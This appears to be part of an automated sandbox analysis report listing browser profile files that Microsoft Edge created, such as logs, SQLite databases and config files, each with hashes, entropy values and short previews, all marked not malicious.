SHA-512:	C10C5E519FA54EF3EE6EB98B7EADAFEAE0AA2FCB4BE5A94C5F9C6718CC803996C2F8C6FC0E48A772B5BDEC12A9575BBCC62E575FB422D8BA194DC9275CD9A3CA
Malicious:	false
Preview:	2025/02/18-02:19:50.735 e44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/18-02:19:50.772 e44 Recovering log #3.2025/02/18-02:19:50.773 e44 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2025/02/18-02:20:00.588 140 Level-0 table #5: started.2025/02/18-02:20:00.617 140 Level-0 table #5: 668169 bytes OK.2025/02/18-02:20:00.618 140 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	506
Entropy (8bit):	5.208375618618228
Encrypted:	false
SSDEEP:	12:7W9v4Yebn9GFUt0X/quP5LYebn95Z9QamWxf0uxf/p7h:7q4Yeb9igCLYeb9z8WmuHh
MD5:	604B8DC07F2DB7EF1CF5D927FD9722D1
SHA1:	B3FE08ABD8FD7FAF59C641936A362A29DB3858C6
SHA-256:	E69A1535E80A94B52DFB0DD19EFA5C9387E720B345E9EAD705F9F9564F938656
SHA-512:	C10C5E519FA54EF3EE6EB98B7EADAFEAE0AA2FCB4BE5A94C5F9C6718CC803996C2F8C6FC0E48A772B5BDEC12A9575BBCC62E575FB422D8BA194DC9275CD9A3CA
Malicious:	false
Preview:	2025/02/18-02:19:50.735 e44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/18-02:19:50.772 e44 Recovering log #3.2025/02/18-02:19:50.773 e44 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2025/02/18-02:20:00.588 140 Level-0 table #5: started.2025/02/18-02:20:00.617 140 Level-0 table #5: 668169 bytes OK.2025/02/18-02:20:00.618 140 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.267898014713841
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjD8k6yhinp48xFxN3erkEtl:scoBY7jDgxpNxFDkHl
MD5:	A317F91672862C65E3BC45E0430C28BA
SHA1:	7E8B84C7CA55A35EAF5057787DC1DE09879181C9
SHA-256:	DDD49E90DC0AA509F5187E4D4BBE48FBE215DEC7100F61F1056A080B926437F8
SHA-512:	AD27F83A319185A56D986F4E4E826F93F8DD3A512C48ABDFFD556A104F02D1F3FC3B16FAF15BFF250A8945FCEE306BD244A3FE88E47CB5F9E7F82ACBB5620FAD
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator........hT7...............(.BLOOM_FILTER:.........DB_VERSION........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6137380405926579
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jcoQvptsoQj4mL:TO8D4jJ/6Up+Aofoc
MD5:	D46EA2395AD1F92685B2E9CC1CBCCC14
SHA1:	FBCC7F90775B9E685F3AFAC44CCA8F110C979EF4
SHA-256:	565766051FD89959D88523D3F0035F10AEDFAC08784BE7E67C878E084E8F3D5D
SHA-512:	5B54A8DF22D2ECD64E758C6F60BD78F506D82F76BFA4CDB1319417A9E6F2781FF3032DFC2028C987D347A0F7D4C3CC93B8C729E80BC838553B25E34DCE2AF8FA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	576703
Entropy (8bit):	5.376047892531498
Encrypted:	false
SSDEEP:	12288:tFdMyq49tEndBuHltBfdK5WNbsVEziP/CfXtLP5/zEn:tFpzEn
MD5:	062FF98D507DD508E7D6D9D0F96C67AD
SHA1:	23A8F7BE86DB27ED53E5E7FF0A9B1CA3F4E6F47F
SHA-256:	2ECBA2A82F7EBC2702132B18052197FD19C26A79F1C4B2579DD5D2B47DE8DB3C
SHA-512:	85DD630361FB82C64AAD3BDC8F49D6A29145F6F8C87CCB8BE6923711E7879D7921543FBC45610027F2D9A3BE7A8519B752156DFFBF2D78491B7E932C8BAFAD11
Malicious:	false
Preview:	...m.................DB_VERSION.18J9zq...............&QUERY_TIMESTAMP:domains_config_gz2...13384336805415434..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.132478638618083
Encrypted:	false
SSDEEP:	6:iOXG1923oH+Tcwtk2WwnvB2KLl1Z+q2P923oH+Tcwtk2WwnvIFUv:7zYebkxwnvFLYv4YebkxwnQFUv
MD5:	0765F8607603B08E9854A524BE43DA87
SHA1:	58F681D2C19E9CDA2FA30B7921522C28B64A1CB5
SHA-256:	22864E1EDBC34FCFE343A656AB7A8D7281B66DAE3A07DC16952EA7E16AFE298D
SHA-512:	2154105EF386DC69BEB54FDF101EB3450F427DDF0747A968A502F1292DEF397097F03FC54683E1FCBA5539031384F6B8B94BC4806AA0C1C018AF00E61392708D
Malicious:	false
Preview:	2025/02/18-02:20:04.166 2168 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/02/18-02:20:04.404 2168 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.3246061228626
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RX:C1gAg1zfvf
MD5:	60B7CDF5AA22680B5CFD30C160A45278
SHA1:	6E99C8882D4DD14DD457628BE8A27C93789935DF
SHA-256:	477FBF8BA2CF6CF55609318D3F43AAAEC57927832760ABB9E39FCA55DB72105C
SHA-512:	10B7DB5232D841C65FD13FF74D9D02272BCB2F49FC315B2AE314D62803FB8BA20F9EFC836723834EB61FF48BF7A0E6C6536F87C583099C9CACE81577F418280C
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.134612725334226
Encrypted:	false
SSDEEP:	6:iOXfcf2L+q2P923oH+Tcwt8aPrqIFUtFfcfxK1Zmw7fcfxcLVkwO923oH+Tcwt8h:7Wrv4YebL3FUt0xK1/qxs5LYebQJ
MD5:	B7B998407706EC98FA51AD4AEBC29D19
SHA1:	95803EC2060A3BFB6BF77AE57532343D7BF4A069
SHA-256:	90A1C6D0FE13AD96D2F363D87C80D23103BA8086C3157D002D82454387605FA5
SHA-512:	FD848B046E7CBABAEAB905E72915A83811E680BE2585AD1E37816492E0BF123ED3CF37F8B89C4FA79069151554A170A0A3011CE7F5F7AA558DD7E7CBDE40027E
Malicious:	false
Preview:	2025/02/18-02:19:50.771 15e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/18-02:19:50.919 15e8 Recovering log #3.2025/02/18-02:19:50.919 15e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.134612725334226
Encrypted:	false
SSDEEP:	6:iOXfcf2L+q2P923oH+Tcwt8aPrqIFUtFfcfxK1Zmw7fcfxcLVkwO923oH+Tcwt8h:7Wrv4YebL3FUt0xK1/qxs5LYebQJ
MD5:	B7B998407706EC98FA51AD4AEBC29D19
SHA1:	95803EC2060A3BFB6BF77AE57532343D7BF4A069
SHA-256:	90A1C6D0FE13AD96D2F363D87C80D23103BA8086C3157D002D82454387605FA5
SHA-512:	FD848B046E7CBABAEAB905E72915A83811E680BE2585AD1E37816492E0BF123ED3CF37F8B89C4FA79069151554A170A0A3011CE7F5F7AA558DD7E7CBDE40027E
Malicious:	false
Preview:	2025/02/18-02:19:50.771 15e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/18-02:19:50.919 15e8 Recovering log #3.2025/02/18-02:19:50.919 15e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.155190794673504
Encrypted:	false
SSDEEP:	6:iOXfcffeVOq2P923oH+Tcwt865IFUtFfcfd6Zmw7fcfdGkwO923oH+Tcwt86+ULJ:7WmAv4Yeb/WFUt0d6/qdG5LYeb/+SJ
MD5:	7135F79EF30EC82AB0A616CAF8772D34
SHA1:	47F0917139B94AE7308CFE1D499699DBB0690ACF
SHA-256:	8215F8193120A997917FCEA2AD03DF395DE7B0A3E505DF6ACA1327CE6512FCBC
SHA-512:	53690828C6324D7D33853DEF00A24A8AC6DA98E5C0E26D0548D3DCCA4CB2D48B9A215226BA79C5C98B768DEB8353CD01E7B59A8A8554356DDB77489CD5BD6604
Malicious:	false
Preview:	2025/02/18-02:19:50.931 140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/18-02:19:50.933 140 Recovering log #3.2025/02/18-02:19:50.933 140 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.155190794673504
Encrypted:	false
SSDEEP:	6:iOXfcffeVOq2P923oH+Tcwt865IFUtFfcfd6Zmw7fcfdGkwO923oH+Tcwt86+ULJ:7WmAv4Yeb/WFUt0d6/qdG5LYeb/+SJ
MD5:	7135F79EF30EC82AB0A616CAF8772D34
SHA1:	47F0917139B94AE7308CFE1D499699DBB0690ACF
SHA-256:	8215F8193120A997917FCEA2AD03DF395DE7B0A3E505DF6ACA1327CE6512FCBC
SHA-512:	53690828C6324D7D33853DEF00A24A8AC6DA98E5C0E26D0548D3DCCA4CB2D48B9A215226BA79C5C98B768DEB8353CD01E7B59A8A8554356DDB77489CD5BD6604
Malicious:	false
Preview:	2025/02/18-02:19:50.931 140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/18-02:19:50.933 140 Recovering log #3.2025/02/18-02:19:50.933 140 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.108411195410462
Encrypted:	false
SSDEEP:	6:iOXfcfwigIq2P923oH+Tcwt8NIFUtFfcfwPZmw7fcfwdkwO923oH+Tcwt8+eLJ:7W7Rv4YebpFUt0O/qi5LYebqJ
MD5:	EF3B7266351FE0CD5B29320F0100D999
SHA1:	5068A1CC2D5EBA75493F0A485ABEF1971F13026F
SHA-256:	4023FB92C9BA4BF675BDD4F417AFD1862D750957FB0C8069D6CB3238AA76CB9B
SHA-512:	2A3A65D81C6C33760F39AA4B89DD20BBF1C12639873462C3EA48876C67DCEE4D8200200ABA0218932D6CD100B95ACB74EDD8B6EC622F9E18BCD2CFB53ADE2B4F
Malicious:	false
Preview:	2025/02/18-02:19:51.709 1a70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/18-02:19:51.710 1a70 Recovering log #3.2025/02/18-02:19:51.710 1a70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.108411195410462
Encrypted:	false
SSDEEP:	6:iOXfcfwigIq2P923oH+Tcwt8NIFUtFfcfwPZmw7fcfwdkwO923oH+Tcwt8+eLJ:7W7Rv4YebpFUt0O/qi5LYebqJ
MD5:	EF3B7266351FE0CD5B29320F0100D999
SHA1:	5068A1CC2D5EBA75493F0A485ABEF1971F13026F
SHA-256:	4023FB92C9BA4BF675BDD4F417AFD1862D750957FB0C8069D6CB3238AA76CB9B
SHA-512:	2A3A65D81C6C33760F39AA4B89DD20BBF1C12639873462C3EA48876C67DCEE4D8200200ABA0218932D6CD100B95ACB74EDD8B6EC622F9E18BCD2CFB53ADE2B4F
Malicious:	false
Preview:	2025/02/18-02:19:51.709 1a70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/18-02:19:51.710 1a70 Recovering log #3.2025/02/18-02:19:51.710 1a70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 12, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	1.8495463963292624
Encrypted:	false
SSDEEP:	48:+Bmw6fU1zBf9tMF296YZcBBD5mloBOdhXPfEOcWddWSaDPZXhlnvLmN3HiHQ:+BCyf9tMc96UO86Odtf0RDPphgVOQ
MD5:	B79589B09F995A7FDA1CC03C665B33AA
SHA1:	2987679E12E3F04F973E3C906C74DC4A9F6C872A
SHA-256:	3E70F82F74075651ABCADEFB8A01934BDCE7F2D12E7B2266745E58870FEB77F4
SHA-512:	C8894B250068CEEDD2EDDD5C9CF93FC70B71D7534D52C23E7770B8B73A49F183018F7823D2FABF892754992243B0FC9BDCEFC4AB0B4E483C04F1C0E69BAB9EB2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5694144214571721
Encrypted:	false
SSDEEP:	96:+qb9w4BF7WyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kEZy9t:+qy4ChH+bDo3iN0Z2TVJkXBBE3ybV
MD5:	DF38641A65F87F20554DD5738DFC152B
SHA1:	9B665C29FE8734A1A32F93C9540516E977EB36B9
SHA-256:	33D456068751F2E8D9180957862B20C2C5FD3A6E7D6BBC8ECAADBF73ABABC056
SHA-512:	D5D5350FD405B511E480670A8B9B968A4ECE32B7B4D1520D2EAD6CA2029BFD49522093D2E448D61641E653117460B16056A9B1B7D7AC776B321CDC8B7A08F065
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:GlRtFlljq7A/mhWJFuQ3yy7IOWUyWdweytllrE9SFcTp4AGbNCV9RUIBn:yK75fOMWd0Xi99pEYnn
MD5:	6726665CA20A5AFED6C843E33836D805
SHA1:	225C3FA5350AED049DE3B956E70E69399ECCC2D4
SHA-256:	5476FF19547B4578F1E3CF6D9A020A948289E55860B4A0514B4BCC54A0A23AF8
SHA-512:	002721EE1013FE1035D2B114D9C3751D240E0A19923EA7C2A3475DFC08DD7CE47F1636E70CDCD8872B83286B729D30D30B4CEB6C063242A199C3704C004664AB
Malicious:	false
Preview:	.............<....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
